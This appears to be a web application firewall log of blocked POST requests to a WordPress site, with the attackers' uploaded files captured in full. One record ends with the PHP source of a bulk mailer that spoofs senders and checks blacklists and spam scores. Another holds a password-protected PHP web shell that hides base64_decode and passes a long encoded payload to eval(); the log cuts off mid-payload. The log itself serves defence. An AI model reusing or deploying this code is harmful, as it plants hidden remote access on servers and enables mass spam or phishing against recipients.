for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--c01af8f3004dad09e7c456316607a13e\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--c01af8f3004dad09e7c456316607a13e\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--c01af8f3004dad09e7c456316607a13e\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--c01af8f3004dad09e7c456316607a13e--\r\n"]
["2026-05-26 21:47:34","170.205.30.68","POST","\/wp-content\/plugins\/qrjoo\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/qrjoo\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=2c935cda0283a289e7aba85f22b9b5de\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:73112\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--2c935cda0283a289e7aba85f22b9b5de\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--2c935cda0283a289e7aba85f22b9b5de\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--2c935cda0283a289e7aba85f22b9b5de\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"zvesv.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqTjJxZmI3SnZrNXJjQVdEVnViSEpPdmZxR0ErakRrQXIzVWVIZktrUFZLeUpFdi9YM0RibkU4eldHalN5WEdZQkRNdmljNmZwZDhRRWpFTFFhWHA5MzZIQ0tUaVRGNFJnQ3BVNFMrYlVoTGV1N2pLSlM1bWVSTWszNkIyQkdyWXdrKzBGS29ITUFRVVYzRGx4TEVqQ05hTnVYa2g0T3NwWkFwMmk2dVZhd25EZkhOd1FCaHRxSzNJcTdTSFAwQVVPak52Y25zV2FsRkZHYWFxMzJDcit1cjJBY05IcWFIRGRWOGRmUU8weE1oUlZLa1dZREZHbXVOL3Q1TlhkZnVsaVpKR3JFRUpPRHBWR2NnSlh3azlwZ1JRNGZRYXA4UnJBSXdiUC92blFTSmxsa3Y3Y3pFSFJ0cFZHZTM5U2k2K3dEYnQ2UTZVeXhDQ1MrWVFYeGt4cU5leVREdUYyVWt4NndnN0RVUlB2K0pXRWpiZDdMTHhqWlhidGFXOWZOS3FYODU1dkZNeERkMzBIVDFZb2JNRDFiSkVoaVRXem8wcFl6WE9QZTRJMlVNdkVXYzlSK1pSTjlVTXNVVGx3YVEzcUtFU2k3MlR5U3RPOWJ3Vm43ZjFZNldlMC9yeXNzbjVMZzBmZzFZZnV3SGo2cGxHbU1CUS9sTjNZbmVKSkJxSTF0K3JoQTZpZWJIeVNFeThIa3Q2RmZ1N3V5ci9iMXBwVjdQdEZveEt1bGphODREMTJ5U1pwUkhXY2xOd0RjQnZpUVlqNEh1SDBVcG55QngxSXprK1Q1TDVQaHhiSXk1UkxFY1RCcU44NEVHNDNTVklJdG1aeDBZRGZIMHBucnNJcTJGWEVFZzkrb2RRZm9OVDVZNW1WRHFrdTFLa2VWVUV4TlY5L3FHVms3M1JxbVY1UWQzSGt0Z0lNS09obUkwblRBeThycEdTOFk5VXdtRGVBQnBiQ3Z5ZGlCQnBnbFQ4bkZSRk4wMm1sUkVuaXMwdmpoTCtuVUp6V0VQbVpJZE1ZMWJDMkhhUXRqZ1d4d0h2MFRZY0ZVVzNYaVR1RjRiYU8yNmJReVVDd3p6T0NCS3hOQkJneVNqdEcyUVQyMVZrZkZNUG54RFhiUzZjbFMvYVBiV2NZZ2F3RXBzMXY0NzJBb1V3OFpPVVFEaWg5eGdIQjBXWVI4LzZTLzZ0cEQzd1NUUVpreEd2TWNvSkk0YnowOU90c3RqeE4yY1hBTTBUWUpvYzFuSXI5QXFHUTZGZDdhOWQ5bkJmeDBoTVQ0Unc4ZEZYaGY3cUQ4TXVoQlg3eXp1OFFzRDFpWGpiYUdBSU1TNWxFb2tsZFVUSjQ5RUlNeEtHVUIrRFprV08yOVM5WW9rZ0JnYnpiTWxzYWRuM2FoMkxlZ2ZRQXFzM0YyTlM4WkszSXNnaGlCaWtSaFlmV2ZvK0ZMaHlzZjExQzc2Z1lyTWhyMVF3WGtYWnhwdGZDR0RJOUdhZ0U3QzJHVEo4b0M0OEFTQmVENnBOc21mZS9ESTQxZnJkZDZlWlRPVHBBRHZZMGt5cWIyZ05MU3lHTHBPbVRDMWgwcTdWZzl6RGdFdkNzQ0VndnlaZkxBbnhkbmhEMHY0UE8yM3JPcmJQNHcyQlJZU1IzOXFxZS9wR2x4V01lM0N5OEZrWk9tUHo4UzVmb01DUStzVUpkbThNOFZWMGtxVFNYbmR0WXpzQ0xCUTBCdU5IQzcrOTJENEdGeG1kMjIramFJRUNQeUU0QjJVdWQ2ZWdGdlFxQ1d6RjhGcEdDMERvSmtJVlpVcDVUanJEN1ZPZ2MweVZDdGtPbVZScDJnWE9mZ04zc3NNS3hlTzY0RVlPVm91dWd0VjJBY3RQTnlQMmI0b3Z1eDBUMXlnMUY0WlZ2bWo2YjQ4RUxZdVRuRXVNYkJxblQ1eW91eXJvM2k4ZENGWWpDaGFJSDdCRVVBZWlENkNUaE5PY0VLVjJaN2g5eDlsUER0QUNlc1gyRTY5OXV4Mk9LVml0SElnd0Z0aXhsVURrU2JSNUpsc3hUOHF5c05ZdVBqWkkyQm40V0hzOGl3R0lLV3dKdFhqbFZQMVdObWtDWnlkcU9SRXNjeGpvZjI1b0JDZDdFMnBPd213SzZjZGR6QVB4Q3ZCQlgzSWUwS1FDUkd3U1hDY09vWUY3TXJQV29rTndZUlk4Q2prd2VwNzBTUFVQbEdFK1RNd0RjZTlsT2M1d2ZJSmtyRXkzeUoyVkFIWEdoTXlnTzJRcGRjdE5JT1d0TWJ1dVdZc0ZhWDBLbFJjaDBoWnI4WVNkWHg1d05MVFhSbmFpeHVva1JqQ21xdm5BT3dXbGRDellBRGtvKzcydEhvVlJuWHJzN0JkK2dKYWJsNDdhcEplR2g4TG1Vcy9YNWVTWjJDNGRpN05qaDFrWkVlV0NnSStEZlhwY3g0QkZLNEhTYWFiTWFCdyt1ZTVYcjdCQWFtbWhNWXJUcWhXZm0yMXpkN1dCdXpRVlJ3WWs0SUlEY2VlZE9FaXR4QWxwamNISnZDeXJtakJZbFd5SnozRUR4TzJXeEhFckpqVFkzY2VORGpsRFRweEZoSU0vcDVXbDhibGhCMVhLRDg1YXdmTENwQ05LckFOOElDVDYza2hKL1ltVUpQWG5PRXZmazZSYlZGMXdNWW1DSFphdlM2UVA5TEN5M205Z2M3ZnY4cjhhVDIvd3dXcDY4UkpGK3hVbS9KQXJVVm9HdUZ1VzJoaUhndUxRU1d1QlY3ZE9RTEFHOVJBUnVpbUJKMXNxL2dWa1l4V0pFN0JGKytud1MydndNS1QvVVNyTlR6Vjc4cEgrd0xzSVV4aWgwNFJTMDFUTk1tUjBRN3g2RzVXREJiSmRXZEgyY2d1blpCZVFKaDZmK0VEcXdEV3Fqc0JwdWxKczRLeG5QS3I4SkVYK1BYMlVKNjlDWkdCdjhSL1FwcVpHUTY5OXZEeDlaK0tlazMwTmdnYjh3c1krNXBTNUNmcGxscCtsNGRPSEtGQUJORGttdmRGUWNOaDR3eVJ3R0FtUVBZcnBBcHhMTGpHV1Qyei9kQ1Z1dmdDNDg2MDFScjdBY29LZGxidmhXZUpERXVEb0tsay91d2hBcG13c0Zzd0FKVFdDRmkrWjF3TTNhd2F5QlFKR1JBenVJV0JHeFZDbEZEVWtRL1k0OFZ2bHpUN0d6NlNmeFVZZy9DREJSOWZoQ29qdUU3UXFYSG1TeCthTXExdXkyMUhHdlNIaW1HVzlyRVlFZWFwS1RyemUxUDBJTlg1MFdhMHpxVmNHdkxoVnpvS0xKUnl1TWpob3Noc1I4eEp6aWVCN2ZYQ0Z6cDRIVkhFeDhndGtocnYwTXppN0RqSGNoczJNYWM2cHAzclU0TzFVSjhtRUFRWnNRK0l2aHFpTVpPZ2M4L2VhYmZ5RFBmanNIS1gyR2F1R1htVzR3clEyRUtEM3pDeW1MSTNNN3NnUGdFOFE3cTlRRHNjbkRHSkMydzQxR3VHTGdPQWFUbGxTQUV6ZG0rQ1RKUVVGajJaY3lVSFFETEh4TU5KR3FpakxwZzE0dXlvSlR1bk0wRWtES09paGNFTmhhZ0NmMVIyRUZGUEdnWWYyVUVnK2ZCdGx4Y1BlQ3k1anJ3eHlITXJLQXRTcjdUMGNSdUZZLzRVa2Q5WEtPY0wzRzI2QWVmSmI2RnVUVjBOT2pCMmVyZWFZSFU4eXdsL2FmVjRmVWpEWWVqMDB6b3ltZEFXdStETUZaRjlHcHVkUlRXN0dia1hpS1liUkxRU2FtbXFDYU5